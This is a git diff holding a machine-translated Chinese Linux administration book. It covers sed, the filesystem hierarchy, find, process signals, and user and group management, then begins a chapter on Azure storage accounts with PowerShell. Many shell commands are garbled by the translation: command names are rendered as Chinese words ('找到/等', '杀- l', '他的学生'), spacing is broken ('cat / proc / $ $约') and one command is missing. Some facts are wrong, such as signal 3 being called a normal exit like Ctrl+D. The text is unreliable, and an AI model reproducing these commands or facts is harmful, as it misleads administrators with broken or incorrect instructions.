- -对于*conf 中的文件; 执行 sed -i 's/string/newstring/g' $files; 完成 - -你可以将搜索限制为一行: - -sed -i '10 s/string/newstring/g' - -**sed**的**信息**页是所有命令的很好的参考资料,更重要的是,如果您想了解更多,它有一个示例部分。 - -## 在文件系统中找到你的方式 - -既然您已经知道了如何操作和编辑文本文件,现在就来看看这些文件是如何存储在系统中的。 作为系统管理员,您必须检查、挂载甚至卸载驱动器。 那么,现在让我们仔细看看 Linux 中的文件系统。 Linux 文件系统的布局与 Unix 家族的所有其他成员一样:与 Windows 非常不同。 没有驱动器号的概念。 相反,有一个根文件系统(**/**),所有其他内容都在根文件系统上可用,包括其他已挂载的文件系统。 - -在本节中,您将了解在哪里可以找到文件,以及它们为什么存在。 - -### 文件系统层次结构标准 - -2001 年,Linux 基金会启动了 Linux 标准基础项目(**LSB**)。 基于 POSIX 规范,这个过程背后的想法是有一个标准化的系统,以便应用可以在任何兼容的 Linux 发行版上运行。 - -**文件系统层次结构标准**(**FHS**)是这个项目的一部分,它定义了目录结构和目录内容。 当然,在目录结构方面,各发行版之间仍然存在一些细微的差异,但即使在不愿意完全支持 LSB 的发行版上,比如 Debian,目录结构也遵循 FHS。 - -下面的屏幕截图取自 CentOS 系统,使用**树**实用程序显示目录结构。 如果您的系统上没有安装**树**,shell 将提示您安装命令。 请这样做。 - -根文件系统下有以下目录: - -![Viewing the directory structure of the root filesystem using the tree utility.](img/B15455_03_19.jpg) - -###### 图 3.19:使用树形实用程序显示目录结构 - -**tree**命令将文件系统布局为树状结构。 或者,您可以使用**ls -lah /**以列表格式查看结构。 - -下面的目录显示在截图中: - -* **/bin**:包含在最小系统上需要由非特权用户(如 shell)执行的程序。 在基于 Red hat 的系统上,这个目录是一个到**/usr/bin**的符号链接。 **ps**、**ls**和**ping**等命令存储在这里。 -* **/sbin**:包含特权用户(**root**)在最小系统上执行的程序,例如文件系统修复实用程序。 在 Red Hat Enterprise linux 系统上,这个目录是到**/usr/sbin**的符号链接。 例如:**iptables**,**reboot**,**fdisk**,**ifconfig**,以及**swap**。 -* **/dev**:设备被安装在一个叫做**devfs**的特殊文件系统上。 所有外围设备都在这里,比如串口、磁盘和 cpu——除了网络接口。 示例:**/dev/null**,**/dev/tty1**。 -* **/proc**:进程被安装在一个叫做**procfs**的特殊文件系统上。 -* **/sys**:**sysfs**文件系统上的硬件信息。 -* **/etc**:由所有程序所需的可编辑的文本配置文件组成。 -* **/lib**:驱动程序库和不可编辑的文本配置文件。 库文件名为**ld***或**lib*.so。** ,例如**libutil-2.27。 所以**,或者**libthread_db-1.0。 所以**。 -* **/lib64**:驱动程序的库,但是没有配置文件。 -* **/boot**:内核和引导加载程序。 例如:**initrd.img-2.6.32-24-generic**,**vmlinux -2.6.32-24-generic**。 -* **/root**:**root**用户的用户数据。 只有**root**用户对该目录有写入权限。 **/root**是**根**用户的主目录,与**/**不同。 -* **/home**:非特权用户的用户数据。 类似于 Windows 中的**C:\Users\username**文件夹。 -* **/媒体**:可移动媒体,如 CD-ROM 和 USB 驱动器。 至少对每个用户都是只读的。 例如:用于 CD- rom 的**/media/cdrom**,用于软驱的**/media/floppy**,用于 CD 写入器的**/media/cdrecorder**。 -* **/mnt**:不可移动媒体,包括远程存储。 至少对每个用户都是只读的。 -* **/run**:特定用户或进程的文件,例如特定用户可用的 USB 驱动程序,或者某个守护进程的运行时信息。 -* **/opt**:不属于分发版的可选软件,如第三方软件。 -* **/srv**:服务器静态数据。 它可以用于静态网站、文件服务器和编制软件,如 Salt 或 Puppet。 -* **/var**:动态数据。 范围从打印假脱机程序和日志到动态网站。 -* **/tmp**:临时文件,在重新启动时不是持久文件。 现在,它通常是挂载在这个目录上的 RAM 文件系统(**tmpfs**)。 从应用的角度来看,目录本身或多或少已被弃用,取而代之的是位于**/var**或**/run**的目录。 -* **/usr**:它包含所有与软件相关的额外二进制文件、文档和源代码。 - -再次使用**树**命令显示**/usr**目录结构: - -![Directory structure in the /usr directory](img/B15455_03_20.jpg) - -###### 图 3.20:/usr 目录中的目录结构 - -**/usr**的目录结构与**/**非常相似。 添加了一些额外的目录: - -* **/usr/etc**:如果您重新编译的软件已经是发行版的一部分,那么配置文件应该在**/usr/etc**中,这样它们就不会与**/etc**中的文件冲突。 -* **/usr/games**:旧游戏如**fortune**,**figlet**,**cowsay**的数据。 -* **/usr/include**:开发头。 -* **/usr/libexec**:包装器脚本 假设您需要多个版本的 Java。 它们都需要不同的库、环境变量等等。 有一个包装器脚本用于调用具有正确设置的特定版本。 -* **/usr/share**:程序数据,如壁纸、菜单项、图标、文档等。 -* **/usr/src**:Linux 内核源代码和来自发行版中包含的软件的源代码。 -* **/usr/local**:您自己安装和编译的软件。 - -**/usr/local**的目录结构与**/usr**相同: - -![Directory structure in the /usr/local directory](img/B15455_03_21.jpg) - -###### 图 3.21:/usr/local 目录结构 - -这个目录是用于软件开发的。 在生产环境中不需要有这个目录。 - -可选软件放在**/opt**中。 主目录结构为**/opt///**,例如**/opt/谷歌/chrome**。 列出可能的供应商/供应商名称是由**维护 Linux 的名称与数字地址分配机构**(【显示】LANANA)在其网站 http://www.lanana.org/lsbreg/providers/。 本地 Linux 软件的,结构是一样的【病人】/ usr 和**/usr/local**,但有一个例外:你可以选择【t16.1】和**/ / conf 等软件目录中的**或**/etc/opt**目录。 PowerShell 等非本机 Linux 软件可以在软件目录中使用自己的结构。 - -### 安装文件系统 - -更精确地定义根文件系统可能是一个好主意。 根文件系统是根目录**/**所在的文件系统。 所有其他文件系统都挂载在这个根文件系统上创建的目录上。 要找出哪些目录是根文件系统的本地目录,哪些目录是挂载点,请执行**findnt**命令: - -![Using findmnt command to determine which directories are local to the root filesystem and which ones are mount points.](img/B15455_03_22.jpg) - -###### 图 3.22:使用 findmnt 命令查找挂载点 - -添加**-D**参数将显示文件系统的大小和可用的空间量: - -![Listing the file size and available space by running the findmnt -D command.](img/B15455_03_23.jpg) - -###### 图 3.23:使用 findmnt -D 命令列出文件大小和可用空间 - -**findmnt**命令是找到设备安装位置的一个很好的方法,例如: - -findmnt /dev/sda1 - -如果目录不是挂载点,使用**-T**参数: - -findmnt - t / usr - -在*第 5 章,高级 Linux 管理*中,详细介绍了不同的文件系统,以及如何挂载和自动挂载本地和远程文件系统。 - -### 在文件系统中查找文件 - -可以使用**find**命令在文件系统上搜索文件。 不幸的是,如果您还不熟悉这个命令,那么手册页可能会让您不知所措,而且不太容易阅读。 但是,如果您理解了这个命令的基本知识,那么手册页将帮助您添加参数,以搜索文件或目录的每个属性,或者同时搜索这两个属性。 - -**find**命令的第一个可能的参数是选项。 这将影响**find**命令的行为,也就是说,它是否应该遵循符号链接以及调试和速度优化选项。 选项是可选的——大多数时候你不需要它们。 - -在选项之后,下一个参数告诉**find**命令从哪里开始搜索进程。 从根目录(**/**)开始不是一个好主意; 在大型文件系统上,它花费太多的时间和消耗太多的 CPU 活动。 记住 fhs -例如,如果你想搜索配置文件,在**/etc**目录中开始搜索: - -找到/等 - -前面的命令将显示**/etc**中的所有文件。 - -位置之后,下一个参数是包含一个或多个测试的表达式。 要列出最常见的测试,请使用以下方法: - -* **类型**,**f**为文件,**d**为目录,**b**为块设备 -* **-name** -* **-user**and**-group** -* **-烫发** -* **-size** -* **-exec** - -您可以组合执行这些测试。 例如,要搜索文件名以**conf**结尾的文件,使用以下命令: - -查找/etc -type f -name '*conf' - -对于某些测试,例如**大小**和**atime**,可以添加一个与给定参数的所谓比较: - -* **+n**:大于**n** -* **-n**:小于**n** -* **n**:完全正确**n** - -**find**命令搜索文件和目录,并将其与**n**的值进行比较: - -找到/类型 d -size +100M - -这个示例将搜索内容超过 100 MB 的目录。 - -最后一个参数是应该在找到的文件上执行的操作。 例子包括: - -* **-ls**,输出类似于**ls**命令。 -* **-print**打印文件名。 -* **-printf**格式化**-print**命令的输出。 -* **-fprintf**将格式化后的输出写入文件。 - -参数**-printf**非常有用。 例如,这个命令将搜索文件并以字节和文件名列出它们的大小。 在此之后,您可以使用**sort**命令按大小对文件进行排序: - -找到/etc -name '*conf' -printf '%s,%p\n' |排序-rn - -还有一些更危险的操作,如**-delete**以删除找到的文件,**-exec**以执行外部命令。 在使用这些参数之前,要非常确定您的搜索操作的结果。 在大多数情况下,就性能而言,最好还是使用**xargs**实用程序。 此实用程序获取结果并将其转换为参数到命令。 这样一个命令的例子如下: **grep**工具用于搜索结果的内容: - -查找/etc/ name ` * ` -type f| xargs grep "127.0.0.1" - -## 流程管理 - -在前一节中,我们讨论了 Linux 中的文件系统。 从系统管理员的角度来看,管理进程是至关重要的。 在某些情况下,您需要启动、停止甚至终止进程。 另外,为了避免限制您的机器,您需要小心系统上运行的进程。 让我们仔细看看 Linux 中的进程管理。 - -进程由 Linux 内核运行,由用户启动,或由其他进程创建。 所有的过程都是过程 1 的子过程,这将在下一章中讨论。 在本节中,我们将学习如何识别进程以及如何向进程发送信号。 - -### 查看进程 - -如果您启动一个程序,将一个**进程 ID**(**PID**)分配给该进程,并在**/proc**中创建一个相应的目录。 - -在 Bash 中,你可以找到当前 shell 的 PID: - -echo $ $ - -你也可以找到父 shell 的 PID: - -echo $ PPID - -要查找文件系统中某个程序的 PID,使用**pidof**实用程序: - -pidof sshd - -您可能会看到 shell 返回的多个 pid。 如果你想只返回一个 PID,使用**-s**参数,它代表单次射击: - -pidof - s sshd - -让我们看看当前 shell 的**proc**目录: - -![Navigating to the /proc directory and listing all of its contents using ls](img/B15455_03_24.jpg) - -###### 图 3.24:当前 shell 的 proc 目录 - -你可以看到这个过程的所有属性。 让我们来看看其中的一些: - -* **cmdline**:创建该进程所执行的命令 -* **environment**:进程可用的环境变量 -* **现状:文件的状态,在**UID**(**用户标识符**),和**GID**(【显示】组标识符)的用户/组拥有的过程** - - **如果执行**cat environ**,输出很难读取,因为行尾字符是**\0**而不是**\n**。 您可以使用**tr**命令将**\0**转换为**\n**: - -cat / proc / $ $约| tr " 0 \ " \ n " - -对于故障诊断来说,**proc**目录非常有趣,但是也有许多工具使用这些信息生成更人性化的输出。 其中一个实用程序是**ps**命令。 这个命令有些奇怪; 它支持三种不同类型的参数: - -* Unix 风格:前面有一个破折号。 命令可以分组。 **ps -ef**与**ps -e -f**相同。 -* **BSD 风格**:前面没有破折号。 命令可以分组。 **ps ax**与**ps ax**相同。 -* GNU 风格:前面有一个双破折号和一个长命名选项。 命令不能分组。 - -这三种样式的输出格式是不一样的,但是您可以使用选项修改行为。 比较如下: - -![Running the ps command using its three different types of parameters.](img/B15455_03_25.jpg) - -###### 图 3.25:使用 ps 实用程序及其参数 - -方括号之间的进程是内核进程。 - -您可以查询特定的值,例如: - -p -q $$ -o comm - -这与: - -cat / proc / $ $ / cmdline - -另一个可以帮助您搜索进程的实用程序是**pgrep**。 它搜索诸如名称和用户等值,并在默认情况下显示 PID。 可以使用**-l**等参数对输出进行格式化,以列出进程名,或者**-o**将完整的命令添加到输出中。 - -一种监控进程的交互式方式是使用**top**命令: - -![Monitoring processes using the top command](img/B15455_03_26.jpg) - -###### 图 3.26:使用 top 命令监控进程 - -在顶部**中可见的进程列中的值与**ps**中的值相同。 在**顶部**的手册页中,您可以找到它们的含义的很好的解释。 其中一些将在后面的章节中介绍。** - - ****top**命令或更花哨的**htop**命令可以帮助您快速识别占用过多内存或 CPU 的进程,并向该进程发送信号。 如果您想要详细和高级的流程监控和故障排除,最好使用 Azure 中提供的工具。 这在*第 11 章,故障排除和监控工作负载*中有介绍。 - -### 向进程发送信号 - -在现实世界中,您可能会遇到某个特定进程占用大量内存的问题。 此时,您可能需要向进程发送一个终止信号。 同样,在处理流程时,您可能会遇到不同的场景。 在本节中,我们将探索可以发送到进程的不同信号。 在信号的手册页第 7 节中,您可以找到关于信号的更多信息。 信号是给进程的消息,例如,改变优先级或终止它。 本手册中描述了许多不同的信号,但只有少数是真正重要的: - -* **信号 1**:挂起进程; 它将重新加载附加到进程的所有内容。 通常用于重新读取已更改的配置文件。 -* **信号 2**:与*Ctrl*+*C*、*Ctrl*+*Break*相同。 -* **信号 3**:进程正常退出; 同*Ctrl*+*D*。 -* **信号 15**:默认信号,用于终止一个命令,给终端时间来很好地清理一切。 -* **信号 9**:在不清除的情况下杀死命令。 这是危险的,可能使您的系统不稳定,有时甚至是脆弱的。 - -如果你想查看可以发送到进程的信号列表,运行: - -杀- l - -要向进程发送信号,可以使用**top**(快捷键**k**)或**kill**命令: - -kill -HUP - -有一个很好的实用程序可以用来 grep 一个进程或一组进程; 它立即发送一个信号:**pkill**。 它类似于**pgrep**。 可以对**name**和**uid**等值进行选择。 - -## 自由访问控制 - -既然我们已经讨论了文件系统和进程管理,应该有一种方法可以限制您所创建文件的权限。 换句话说,您不应该授予每个人访问所有内容的权限,大多数组织都遵循授予最细粒度权限的原则。 **Discretionary Access Control**(**DAC**)是一种安全实现,它限制对文件和目录等对象的访问。 用户或用户组根据所有权和对象的权限获得访问权限。 - -在云环境中,用户和组管理可能不是您日常工作的一部分。 它通常被委托给身份管理系统,如**Active Directory**(**AD**),并且您不需要很多用户帐户; 目前,应用级别的身份验证和授权更加重要。 但是,能够验证用户并知道底层系统是如何工作的仍然是一个好主意。 - -### 用户管理 - -如果你在 Azure 中部署一个虚拟机,在向导中你会指定一个用户,这个用户将由虚拟机中的 Azure Agent 用户管理创建——例如,如果你用 PowerShell 部署一个虚拟机: - -![Deploying a VM with PowerShell](img/B15455_03_27.jpg) - -###### 图 3.27:使用 PowerShell 部署虚拟机 - -您可以使用此帐号登录。 它是一个普通用户,也称为无特权用户,没有管理权限。 要获得管理权限,需要使用**sudo**命令; **sudo**表示超级用户执行(或作为超级用户执行)。 如果没有参数,**su**命令将把当前用户切换到另一个用户,即 Linux 中的管理员帐户 root。 - -#### 请注意 - -如果您想要根权限,在 Azure 中的一些 Linux 映像中,您不能使用**su**命令。 默认情况下是禁用的。 要获得根 shell,可以使用**sudo -s**。 默认情况下,**sudo**命令会询问您的密码。 - -要获取关于该用户帐户的更多信息,使用**getent**命令从存储用户信息的**passwd**数据库中获取一个实体。 这个**passwd**数据库可以是本地的,存储在/ etc / passwd**文件,或可以远程,远程服务器将授予授权通过检查用户数据库,【显示】轻量级目录访问协议(LDAP**)例如:**** - - **sudo getent 密码 - -获取**linvirt**用户的详细信息: - -![Using getent to get details of linvirt](img/B15455_03_28.jpg) - -###### 图 3.28:使用 getent 获取 linvirt 的详细信息 - -该命令的输出是一个冒号分隔的列表: - -* 用户帐户名 -* 密码 -* 用户 ID -* 组 ID -* **通用电气综合操作系统**(**GECOS**)字段为额外账户信息 -* 该用户的主目录 -* 默认的 shell - -在早期的 Unix 操作系统家族中,密码存储在**/etc/passwd**文件中,但出于安全原因,散列密码被移到**/etc/shadow**。 密码可以通过以下方式更改: - - - -如果要修改当前用户的密码,不需要使用**sudo**,也不需要指定用户名。 可以使用**getent**查看**/etc/shadow**文件中的条目: - -![Checking password entry using getent command](img/B15455_03_29.jpg) - -###### 图 3.29:使用 getent 命令检查密码条目 - -哈希密码后的列包含可通过**chage**命令查看(和更改)的老化信息。 影子数据库中的符号用 epoch (Unix 的虚拟生日:1970 年 1 月 1 日)以来的天数来表示。 **chage**命令将其翻译成更容易理解的形式: - -![Using chage command to convert epoch to a human-readable date.](img/B15455_03_30.jpg) - -###### 图 3.30:使用 chage 命令获取老化信息 - -让我们回到**passwd**数据库。 用户 ID 的编号在**/etc/login.defs**文件中定义。 ID**0**为 root 帐户保留。 id**1**到**200**被保留给在现代 Linux 系统中不再使用的**admin**帐户。 在基于 Red hat 的发行版中,范围 201-999 是为系统帐户保留的,守护进程在这些帐户下运行。 本地用户的非特权帐户范围为 1,000 ~ 60,000,远程用户(如 AD 或 LDAP 用户)的范围为>60,000。 Linux 发行版之间有一些细微的差别。 让我们总结一下这些价值观: - -![A table showing the relation between user ID numbers and user types in Linux.](img/B15455_03_31.jpg) - -###### 图 3.31:用户 id 及其所服务的用户类型 - -许多发行版配置了所谓的**用户私有组****(UPG)**方案,这要归功于**/etc/login.defs**文件中的指令: - -USERGROUPS_ENAB 是的 - -这意味着,如果创建一个用户,将自动创建一个与登录名相同的主组。 如果禁用此功能,新创建的用户将自动成为另一个组的成员,定义在**/etc/default/useradd**: - -组= 100 - -GECOS 字段可以通过**chfn**命令更改: - -![Changing GECOS field with the chfn command](img/B15455_03_32.jpg) - -###### 图 3.32:使用 chfn 命令更改 GECOS 字段 - -#### 注意: - -**chfn**(change finger)命令指的是一个旧的实用程序**finger**,它在默认情况下没有安装,但在存储库中仍然可用。 还有一个使 GECOS 信息通过网络可用的**finger**守护进程,但它被认为存在安全风险。 - -创建用户时的默认 shell 在**/etc/default/useradd**中定义。 您可以使用**chsh**命令将默认 shell 更改为其他 shell。 shell 必须在**/etc/shell**文件中列出: - -chsh -s /bin/tcsh linvirt - -出于本书的目的,保留 Bash 作为默认 shell。 - -在本节中,您了解了如何验证和更改现有本地用户的属性。 当然,你也可以添加其他用户: - -用户名:sudo useradd - -**useradd**命令有很多定制选项。 你可以使用**man useradd**了解更多信息。 也可以使用**adduser**命令: - -![Adding user with the adduser command](img/B15455_03_33.jpg) - -###### 图 3.33:使用 adduser 命令添加一个用户 - -### 群组管理 - -如前一章所述,用户将是主组的一部分。 当您创建一个用户时,如果您没有指定一个组,那么将创建一个与用户名同名的组。 如果您查看前面的截图,可以看到用户**john**的一个名为**john**的组。 - -除了作为主要组的成员之外,还可以添加其他组成员。 这对于在**sudo**配置中访问组目录/共享或委派特权是必要的。 您可以添加现有的附加组与**——组织参数****useradd 命令中创建一个用户,或之后**usermod**或【显示】groupmems**。 - -让我们创建一个新用户和一个新组,并验证结果: - -sudo useradd 学生 - -sudo 密码学生 - -请输入密码,学生 - -sudo groupadd 员工 - -Sudo getent 集团员工 - -让**学生**用户成为**员工**组的一员: - -Sudo groupmems -g 工作人员-一个学生 - -另外: - -sudo usermod -aG 教职员学生 - -Sudo groupmems -g staff -l - -Sudo getent 集团员工 - -您可以使用**切换组**(**sg**临时更改您的主组: - -他的学生 - -id - g - -sg 员工 - -#### 注意: - -这不是很常见,但您可以使用**gpasswd**命令向组帐户添加密码。 这样,非该组成员的用户仍然可以使用**sg**并输入该组的密码。 - -一个非常特殊的组是**轮**组。 在**sudo**配置中,作为该组成员的用户能够执行需要管理权限的命令。 在 Ubuntu 中,这个组是不可用的; 相反,有一个名为**sudo**的组可以用于相同的目的。 - -### 登录管理 - -在企业环境中,管理员需要收集登录用户的数量、非法登录的数量、是否有授权用户试图登录等信息,以便进行安全审计。 在本章中,我们将讨论 Linux 中的登录管理,从安全性的角度来看,这是至关重要的。 - -Linux 系统的任何登录都由一个名为**systemd-logind**的服务和一个相应的命令:**loginctl**注册、跟踪和管理。 这个命令适用于所有 Linux 发行版; 然而,如果您正在使用**Windows 子系统用于 Linux**(**WSL**),由于缺少 systemd,这将不可用。 - -该命令的参数分为用户、会话和座位三个部分。 要使用这些参数做一些练习,请使用学生帐户的凭据向 VM 打开第二个**ssh**会话。 执行第一个**ssh**会话中的命令。 - -首先,列出会话: - -loginctl list-sessions - -记录会话 ID 和特定会话的详细信息: - -loginctl show-session - -在我的例子中,会话 ID 是**27**,所以我们将使用**loginctl**检查会话详细信息: - -![Using loginctl to check session details for session ID 27](img/B15455_03_34.jpg) - -###### 图 3.34:检查会话 ID 27 的会话详细信息 - -查看用户属性: - -loginctl show-user - -切换到第二个 SSH 会话,执行**man**。 - -现在将登录管理切换回第一个 SSH 会话,并使用**user-status**参数查看学生的状态: - -![Using the user-status parameter to view the status of the student ](img/B15455_03_35.jpg) - -###### 图 3.35:使用用户状态参数 - -最后,终止会话: - -还有一个**terminator -user**参数,如果一个会话中有多个用户,这个参数会很方便。 - -## 总结 - -本章是关于如何在不熟悉 Linux 操作系统的情况下在 Linux 中生存的速成课程。 本章不是关于如何成为一个高级 Linux 管理员。 - -在您作为 Azure 管理员的日常生活中,您可能不会用到本章中的所有内容。 例如,您可能不会在 VM 中创建用户。 但是您应该能够验证在 AD 等身份管理系统中配置的用户,并验证他们是否能够登录。 - -本章主要介绍 shell 的使用、文件系统的结构以及查找文件。 我们了解了文本文件在 Linux 中的作用以及如何处理和编辑它们。 我们与进程一起工作,了解如何查看和杀死它们。 最后,但同样重要的是,我们看了用户和组管理。 - -在下一章中,我们将讨论在 Azure 中管理资源。 - -## 问题 - -在本章中,我希望你们做一个练习,而不是回答一些问题: - -1. 创建用户**Lisa**,**John**,**Karel**,和**Carola**。 -2. 将这些用户的密码设置为**welc0meITG**。 -3. 验证这些用户是否存在。 -4. 创建**财务**和**员工**组。 -5. 丽莎让用户**和**卡罗拉****财政**和**卡雷尔**和【显示】约翰**员工**的成员。** -*** 创建/home/staff 和/home/finance 目录,并将这些目录的组所有权分别设置为 staff 和 home。* 给予职员组对财务目录的读访问权。* 确保新创建的文件获得正确的组所有权和权限。** - - **## 进一步阅读 - -有许多书籍是为刚接触 Linux 操作系统的用户出版的。 以下是我个人最喜欢的一些。 - -由 Petru Işfan 和 Bogdan Vaida 编写的*Working with Linux - Quick Hacks for the Command Line*(ISBN 978-1787129184)是一个很好的技巧和技巧的奇怪集合,有时这就是你所需要的全部。 - -如果您会读德语,那么您的书架上应该有 Michael Kofler([https://kofler.info](https://kofler.info))的所有书籍,即使您是一个经验丰富的 Linux 用户! - -微软网站提供了关于正则表达式的非常好的文档:[https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions](https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expressions)。 如果你想练习使用正则表达式,我喜欢[http://regexone.com](http://regexone.com)。 - -**awk**实用程序附带了一个很大的手册([https://www.gnu.org/software/gawk/manual/gawk.html](https://www.gnu.org/software/gawk/manual/gawk.html)),但它可能不是最好的起点。 Shiwang Kalkhanda 在*学习 AWK 编程*(ISBN 978-1788391030)中做得非常好,是一本非常值得一读的书。 不要害怕本文中的*Programming*这个词,尤其是如果你不是开发人员; 你应该读读这本书。******** \ No newline at end of file diff --git a/docs/handson-linux-admin-azure/04.md b/docs/handson-linux-admin-azure/04.md deleted file mode 100644 index 72188d97..00000000 --- a/docs/handson-linux-admin-azure/04.md +++ /dev/null @@ -1,828 +0,0 @@ -# 四、管理 Azure - -在*第二章*,*开始 Azure 云*中,我们迈出了进入 Azure 世界的第一步。 我们发现有许多方法可以管理 Azure 环境,这些方法包括 Azure 门户和命令行界面。 您可以使用 Azure 门户中的命令行界面在您的工作站上运行它们。 在本书的后面,我们将看到使用自动化和编配解决方案还有其他巨大的可能性。 在*第三章*、*基础 Linux 管理*的末尾,我们创建了一个 Linux 虚拟机,并探索了 Linux 环境的基础知识。 - -在我们继续我们的旅程,讨论更高级的主题之前,本章将介绍我们的工作负载、vm 和容器所需要的 Azure 基础设施组件。 我们讨论了 Linux 中的文件系统,但是我们如何向 VM 添加更多的数据磁盘呢? 作为一个系统管理员,您可能需要根据您的业务需求来允许或拒绝 VM 的流量,但是如何在 Azure 中实现这一点呢? 在某些场景中,您需要为虚拟机绑定多个网络接口。 你将如何实现这个目标? 本节将回答关于如何管理与 VM 相关的 Azure 资源的所有问题。 我们讨论的组件已经在前面的章节中使用过,有时甚至不知道我们已经使用过了。 - -基本上,本章是关于 Azure 资源的。 而且,请记住,它们都是资源组的一部分,资源组是一个逻辑容器,资源被部署和管理在其中。 以下是本章的一些要点: - -* 管理 Azure 中的存储资源和可用的不同存储选项 -* 管理 Azure 中的网络资源并理解它们在 vm 中的角色 -* Using handy commands in PowerShell and the Azure CLI to manage resources in Azure - - #### 请注意 - - 在本书中,我们尽量不去关注可用的接口。 因为本章更多的是关于理论而不是接口,所以我们将以 PowerShell 为例。 - -## 使用 Azure CLI 和 PowerShell 管理 Azure 资源 - -在本章中,我们将看到如何使用 PowerShell 和 Azure CLI 管理 Azure 资源。 我们在这里要做的每一项任务也可以从 Azure 门户完成。 但是,作为从终端执行日常任务的系统管理员,您应该能够使用 CLI 或 PowerShell 管理资源。 本章中几乎所有的命令都是用 PowerShell 编写的; 然而,在本章的最后,你会发现 Azure CLI 对应 PowerShell 中的每个命令。 命令列表太长了,所以最好参考微软官方文档或使用各自的帮助命令。 - -在某些情况下,甚至在接下来的章节中,我们将使用 Azure 门户。 这是为了简化过程,并向大家介绍另一种方法。 如果愿意,您可以使用门户,但在自动化任务和编排部署方面,CLI 或 PowerShell 经验是先决条件。 因此,我们鼓励大家遵循本章中的 PowerShell 命令,并投入时间使用 Azure CLI 测试等效的命令。 - -以下是完成本章任务的一些技术要求。 - -## 技术要求 - -本章要求具备存储和网络的基础知识。 在*继续阅读*部分,你可以找到一些建议来准备自己。 - -这不是必需的,但是至少有一个 VM 启动并运行是一个好主意。 这样,您不仅可以在本章中创建新的资源,还可以查看现有 VM 的属性。 本节以在第 4 章**资源组**中创建一个名为**ubuntu01**的 Ubuntu 虚拟机为例。 - -设置资源组和位置的变量: - -$ myRG =“第 4 章” - -$myLocation = "westus" - -$myTestVM = "ubuntu01" - -创建资源组: - -New-AzResourceGroup -Name $ myg -Location $myLocation - -创建虚拟机: - -New-AzVm ' - --ResourceGroupName myRG 美元” - -  -Name $myTestVM ' - --ImageName UbuntuLTS - -位置 myLocation 美元” - -  -VirtualNetworkName "$myTestVM-Vnet" ' - --SubnetName myTestVM-Subnet 美元” - -  -SecurityGroupName "$myTestVM-NSG" ' - --PublicIpAddressName myTestVM-pip 美元 - -目前,本例中使用的参数并不重要; 读完这一章,你就能全部理解它们了。 - -Azure Storage Explorer 实用程序不是一个真正的需求,但有它就很好了,它可以在[https://azure.microsoft.com/en-us/features/storage-explorer](https://azure.microsoft.com/en-us/features/storage-explorer)上免费获得。 这是一个安装在工作站上的独立实用程序。 这个实用程序将帮助您上传、下载和管理 Azure blob、文件、队列和表。 它还支持 Azure Cosmos DB 和 Azure Data Lake。 另一个优点是可以访问虚拟机的磁盘。 存储资源管理器也是 Azure 门户中的一个选项。 - -## 管理存储资源 - -微软处理数据存储的云解决方案是 Azure storage。 Azure Storage 提供高可用性、安全性、可伸缩性和可访问性。 在 Azure 中,我们有不同类型的数据或存储服务。 它们是: - -* Azure 斑点 -* Azure 文件 -* Azure 队列 -* Azure 表 - -让我们仔细看看它们,了解它们是什么: - -* Azure Blobs:用于存储大量非结构化数据(如文本或二进制数据)的优化对象。 它们通常用于使数据可用于其他资源,例如,存储可用于创建虚拟磁盘的 VHD 文件。 另一个用例是将它们用作音频和视频文件的存储。 使一个 blob 公开访问,甚至可以流数据。 -* **Azure 文件**:Azure 文件是托管在 Azure 中的文件共享,可以通过**服务器消息块**(**SMB**)访问,并且可以挂载到您的本地计算机。 您可能想知道这些文件共享与普通文件共享有何不同。 这里增加的好处是,将生成的 URL 将包含一个**共享访问签名**(**SAS**),并且文件共享将能够从世界上任何地方访问。 -* **Azure Queue**:用于从一个资源传递消息到另一个资源,特别是对于无服务器的服务,如 Azure Web Apps 和 Functions。 它还可以用于创建工作待办事项以异步处理。 -* **Azure Table**:这是针对 Azure Cosmos 数据库服务的。 -* **Azure Disk**:这适用于托管磁盘存储和非托管磁盘。 - -在本章中,我们将只讨论 Blob 存储、Azure 文件和磁盘存储,因为队列和表存储是针对特定解决方案的,它们只对应用开发人员重要。 - -#### 请注意 - -如果你有大量的数据想要存储在云中,那么上传会花费很多时间。 微软有一个叫做 Azure 数据盒磁盘的服务。 它允许你发送加密的 ssd 到你的数据中心,复制数据,然后发送回来。 更多信息,请访问[https://docs.microsoft.com/en-gb/azure/databox/data-box-disk-overview](https://docs.microsoft.com/en-gb/azure/databox/data-box-disk-overview)。 - -### 存储帐户 - -存储帐户提供了一个在 Azure 中惟一的名称空间,用于包含 blob、文件、表、队列等存储对象。 需要一个帐户才能访问存储。 它还定义了正在使用的存储的类型。 - -存储账户有三种不同的类型: - -* **Storage**:这种旧类型的已弃用存储帐户不支持所有特性(例如,没有存档选项)。 它通常比更新的 V2 更贵。 -* **StorageV2**:这是一个较新的存储帐户类型。 它支持所有类型的存储以及 blob、文件、队列和表的最新特性。 -* **BlobStorage**: This has not been deprecated yet, but there is no reason to use it any longer. The biggest problem with this account type is that you can't store files such as VHDs. - - #### 请注意 - - 不需要为托管磁盘创建存储帐户。 但是,如果希望存储 VM 启动诊断数据,则需要一个。 如果您的虚拟机处于不可引导状态,那么启动诊断帐户非常有用。 该帐户存储的日志可用于查找虚拟机处于非启动状态的根本原因。 对于测试,这不是一个强制选项,但对于生产工作负载,建议启用引导诊断,这将帮助您理解故障期间发生了什么错误。 - -另一个属性是 SKU,如*第 2 章,Azure 云入门*所述。 它指定应用于存储帐户的复制类型。 以下是可用的类型,如果你还记得的话,我们已经讨论过它们是什么: - -* **Standard_LRS**:本地冗余存储帐户 -* **Premium_LRS**:与 LRS 相同,但支持文件存储和块存储 -* **Standard_GRS**:两地三中心容灾存储帐户 -* **Standard_RAGRS**:读写两地三中心冗余存储帐户 -* **Standard_ZRS**:分区冗余存储帐户 - -最后一个重要的属性是访问层; 它指定了存储的优化。 有三种类型可供选择: - -* **热存储层**:将访问频率较高的数据存储在该热存储层。 -* **冷存储层**:指访问频率较低且至少存储 30 天的数据。 -* **归档存储层**:存储 180 天以上,访问次数少,延迟灵活。 - -设置对象级访问层仅支持标准 LRS、GRS、RA-GRS BlobStorage 和通用 V2 帐户。 **General Purpose V1**(**GPv1**)不支持分级。 - -为访问层所做的选择也会影响成本; 例如,归档存储提供最低的存储成本,但也提供最高的访问成本。 - -存储帐户名称长度为 3 ~ 24 个字符,且只能使用数字和小写字母。 存储帐户名称在 Azure 中必须是唯一的。 微软建议使用一个全球唯一的名称和一个随机数: - -New-AzStorageAccount” - --ResourceGroupName' - --SkuName【工人】' - --Location' - --儿童 StorageV2 ' - --AccessTier【工人】' - --name - -让我们创建一个具有冗余的存储帐户 